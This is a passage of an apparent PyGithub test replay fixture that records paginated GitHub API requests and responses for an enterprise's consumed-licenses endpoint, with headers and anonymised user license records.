Cloud","visual_studio_subscription_email":"beaver-user042@beaver.co.jp","total_user_accounts":1},{"github_com_login":"beaver-user043","github_com_name":"beaver-user043","enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user043","github_com_member_roles":[],"github_com_enterprise_roles":["Outside collaborator"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user044","github_com_name":null,"enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":true,"license_type":"Visual Studio subscription","github_com_profile":"https://github.com/beaver-user044","github_com_member_roles":[],"github_com_enterprise_roles":[],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":"Matched to Cloud","visual_studio_subscription_email":"beaver-user044@beaver.co.jp","total_user_accounts":1},{"github_com_login":"beaver-user045","github_com_name":"beaver-user045","enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user045","github_com_member_roles":["beaver-external:Member","beaver-general:Member","beaver-training:Member"],"github_com_enterprise_roles":["Member"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user046","github_com_name":"beaver-user046","enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user046","github_com_member_roles":["beaver-external:Member","beaver-general:Member","beaver-training:Member"],"github_com_enterprise_roles":["Member"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user047","github_com_name":null,"enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":true,"license_type":"Visual Studio subscription","github_com_profile":"https://github.com/beaver-user047","github_com_member_roles":["beaver-external:Member","beaver-general:Member","beaver-training:Member"],"github_com_enterprise_roles":["Member"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":"Matched to Cloud","visual_studio_subscription_email":"beaver-user047@beaver.co.jp","total_user_accounts":1},{"github_com_login":"beaver-user048","github_com_name":null,"enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user048","github_com_member_roles":["beaver-external:Member","beaver-general:Member","beaver-training:Member"],"github_com_enterprise_roles":["Member"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user049","github_com_name":null,"enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":true,"license_type":"Visual Studio subscription","github_com_profile":"https://github.com/beaver-user049","github_com_member_roles":["beaver-external:Member","beaver-general:Member","beaver-training:Member"],"github_com_enterprise_roles":["Member"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":"Matched to Cloud","visual_studio_subscription_email":"beaver-user049@beaver.co.jp","total_user_accounts":1},{"github_com_login":"beaver-user050","github_com_name":null,"enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":true,"license_type":"Visual Studio subscription","github_com_profile":"https://github.com/beaver-user050","github_com_member_roles":["beaver-external:Member","beaver-general:Member","beaver-training:Member"],"github_com_enterprise_roles":["Member"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":"Matched to Cloud","visual_studio_subscription_email":"beaver-user050@beaver.co.jp","total_user_accounts":1},{"github_com_login":"beaver-user051","github_com_name":null,"enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user051","github_com_member_roles":["beaver-external:Member","beaver-training:Member"],"github_com_enterprise_roles":["Member","Pending invitation"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":["beaver-general"],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user052","github_com_name":"beaver-user052","enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user052","github_com_member_roles":[],"github_com_enterprise_roles":["Outside collaborator"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user053","github_com_name":null,"enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user053","github_com_member_roles":["beaver-external:Member","beaver-general:Member","beaver-training:Member"],"github_com_enterprise_roles":["Member"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user054","github_com_name":null,"enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user054","github_com_member_roles":["beaver-external:Member","beaver-general:Member","beaver-training:Member"],"github_com_enterprise_roles":["Member"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user055","github_com_name":null,"enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user055","github_com_member_roles":[],"github_com_enterprise_roles":["Outside collaborator"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user056","github_com_name":null,"enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user056","github_com_member_roles":["beaver-external:Member","beaver-general:Member","beaver-training:Member"],"github_com_enterprise_roles":["Member"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user057","github_com_name":"beaver-user057","enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":true,"license_type":"Visual Studio subscription","github_com_profile":"https://github.com/beaver-user057","github_com_member_roles":["beaver-external:Member","beaver-general:Member","beaver-training:Member"],"github_com_enterprise_roles":["Member"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":"Matched to Cloud","visual_studio_subscription_email":"beaver-user057@beaver.co.jp","total_user_accounts":1},{"github_com_login":"beaver-user058","github_com_name":null,"enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":true,"license_type":"Visual Studio subscription","github_com_profile":"https://github.com/beaver-user058","github_com_member_roles":["beaver-external:Member","beaver-general:Member","beaver-training:Member"],"github_com_enterprise_roles":["Member"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":"Matched to Cloud","visual_studio_subscription_email":"beaver-user058@beaver.co.jp","total_user_accounts":1},{"github_com_login":"beaver-user059","github_com_name":null,"enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user059","github_com_member_roles":[],"github_com_enterprise_roles":["Outside collaborator"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user060","github_com_name":null,"enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":true,"license_type":"Visual Studio subscription","github_com_profile":"https://github.com/beaver-user060","github_com_member_roles":["beaver-external:Member","beaver-general:Member","beaver-training:Member"],"github_com_enterprise_roles":["Member"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":"Matched to Cloud","visual_studio_subscription_email":"beaver-user060@beaver.co.jp","total_user_accounts":1}]} + +https +GET +api.github.com +None +/enterprises/beaver-group/consumed-licenses?page=3 +{'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} +None +200 +[('Server', 'GitHub.com'), ('Date', 'Thu, 27 Jul 2023 05:18:49 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"75ad40a2a50af04fddaa764d4818c3cd2154fe00a81115ac5393da47843abd6c"'), ('X-OAuth-Scopes', 'admin:enterprise, admin:gpg_key, admin:org, admin:org_hook, admin:public_key, admin:repo_hook, repo, user, write:discussion'), ('X-Accepted-OAuth-Scopes', 'admin:enterprise, manage_billing:enterprise, read:enterprise'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Link', '; rel="prev", ; rel="next", ; rel="last", ; rel="first"'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4826'), ('X-RateLimit-Reset', '1690436729'), ('X-RateLimit-Used', '174'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'C158:2859:2C77E0:2ECFA3:64C1FE39')] +{"total_seats_consumed":102,"total_seats_purchased":103,"users":[{"github_com_login":"beaver-user061","github_com_name":null,"enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user061","github_com_member_roles":["beaver-external:Member","beaver-general:Member","beaver-training:Member"],"github_com_enterprise_roles":["Member"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user062","github_com_name":null,"enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user062","github_com_member_roles":["beaver-external:Member","beaver-general:Member","beaver-training:Member"],"github_com_enterprise_roles":["Member"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user063","github_com_name":"beaver-user063","enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":true,"license_type":"Visual Studio subscription","github_com_profile":"https://github.com/beaver-user063","github_com_member_roles":["beaver-external:Member","beaver-general:Member","beaver-training:Member"],"github_com_enterprise_roles":["Member"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":"Matched to Cloud","visual_studio_subscription_email":"beaver-user063@beaver.co.jp","total_user_accounts":1},{"github_com_login":"beaver-user064","github_com_name":null,"enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user064","github_com_member_roles":[],"github_com_enterprise_roles":["Outside collaborator"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user065","github_com_name":null,"enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user065","github_com_member_roles":["beaver-external:Member","beaver-general:Member","beaver-training:Member"],"github_com_enterprise_roles":["Member"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user066","github_com_name":null,"enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user066","github_com_member_roles":[],"github_com_enterprise_roles":["Outside collaborator"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user067","github_com_name":null,"enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user067","github_com_member_roles":[],"github_com_enterprise_roles":["Outside collaborator"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user068","github_com_name":null,"enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user068","github_com_member_roles":["beaver-external:Member","beaver-general:Member","beaver-training:Member"],"github_com_enterprise_roles":["Member"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user069","github_com_name":null,"enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user069","github_com_member_roles":["beaver-external:Member","beaver-general:Member","beaver-training:Member"],"github_com_enterprise_roles":["Member"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user070","github_com_name":null,"enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user070","github_com_member_roles":[],"github_com_enterprise_roles":["Outside collaborator"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user071","github_com_name":"beaver-user071","enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user071","github_com_member_roles":[],"github_com_enterprise_roles":["Outside collaborator"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user072","github_com_name":null,"enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user072","github_com_member_roles":[],"github_com_enterprise_roles":["Outside collaborator"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user073","github_com_name":null,"enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user073","github_com_member_roles":[],"github_com_enterprise_roles":["Outside collaborator"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user074","github_com_name":"beaver-user074","enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user074","github_com_member_roles":["beaver-external:Member","beaver-general:Member","beaver-training:Member"],"github_com_enterprise_roles":["Member"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user075","github_com_name":null,"enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user075","github_com_member_roles":["beaver-external:Member","beaver-general:Member","beaver-training:Member"],"github_com_enterprise_roles":["Member"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user076","github_com_name":null,"enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user076","github_com_member_roles":["beaver-external:Member","beaver-general:Member","beaver-training:Member"],"github_com_enterprise_roles":["Member"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user077","github_com_name":null,"enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user077","github_com_member_roles":[],"github_com_enterprise_roles":["Outside collaborator"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user078","github_com_name":null,"enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user078","github_com_member_roles":[],"github_com_enterprise_roles":["Outside collaborator"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user079","github_com_name":null,"enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user079","github_com_member_roles":[],"github_com_enterprise_roles":["Outside collaborator"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user080","github_com_name":null,"enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user080","github_com_member_roles":[],"github_com_enterprise_roles":["Outside collaborator"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user081","github_com_name":null,"enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user081","github_com_member_roles":["beaver-external:Member","beaver-general:Member","beaver-training:Member"],"github_com_enterprise_roles":["Member"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user082","github_com_name":null,"enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user082","github_com_member_roles":["beaver-external:Member","beaver-general:Member","beaver-training:Member"],"github_com_enterprise_roles":["Member"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user083","github_com_name":"beaver-user083","enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user083","github_com_member_roles":[],"github_com_enterprise_roles":["Outside collaborator"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user084","github_com_name":null,"enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user084","github_com_member_roles":[],"github_com_enterprise_roles":["Outside collaborator"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user085","github_com_name":null,"enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user085","github_com_member_roles":["beaver-external:Member","beaver-general:Member","beaver-training:Member"],"github_com_enterprise_roles":["Member"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user086","github_com_name":null,"enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user086","github_com_member_roles":["beaver-external:Member","beaver-general:Member","beaver-training:Member"],"github_com_enterprise_roles":["Member"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user087","github_com_name":"beaver-user087","enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user087","github_com_member_roles":["beaver-external:Member","beaver-general:Member","beaver-training:Member"],"github_com_enterprise_roles":["Member"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user088","github_com_name":null,"enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user088","github_com_member_roles":["beaver-external:Member","beaver-general:Member","beaver-training:Member"],"github_com_enterprise_roles":["Member"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user089","github_com_name":null,"enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user089","github_com_member_roles":["beaver-external:Member","beaver-general:Member","beaver-training:Member"],"github_com_enterprise_roles":["Member"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user090","github_com_name":null,"enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user090","github_com_member_roles":["beaver-external:Member","beaver-general:Member","beaver-training:Member"],"github_com_enterprise_roles":["Member"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1}]} + +https +GET +api.github.com +None +/enterprises/beaver-group/consumed-licenses?page=4 +{'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} +None +200 +[('Server', 'GitHub.com'), ('Date', 'Thu, 27 Jul 2023 05:18:50 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"1d436b78f7cd5021a418b048a8958845726638e088319edfa2898c2ae23c1ce1"'), ('X-OAuth-Scopes', 'admin:enterprise, admin:gpg_key, admin:org, admin:org_hook, admin:public_key, admin:repo_hook, repo, user, write:discussion'), ('X-Accepted-OAuth-Scopes', 'admin:enterprise, manage_billing:enterprise, read:enterprise'), 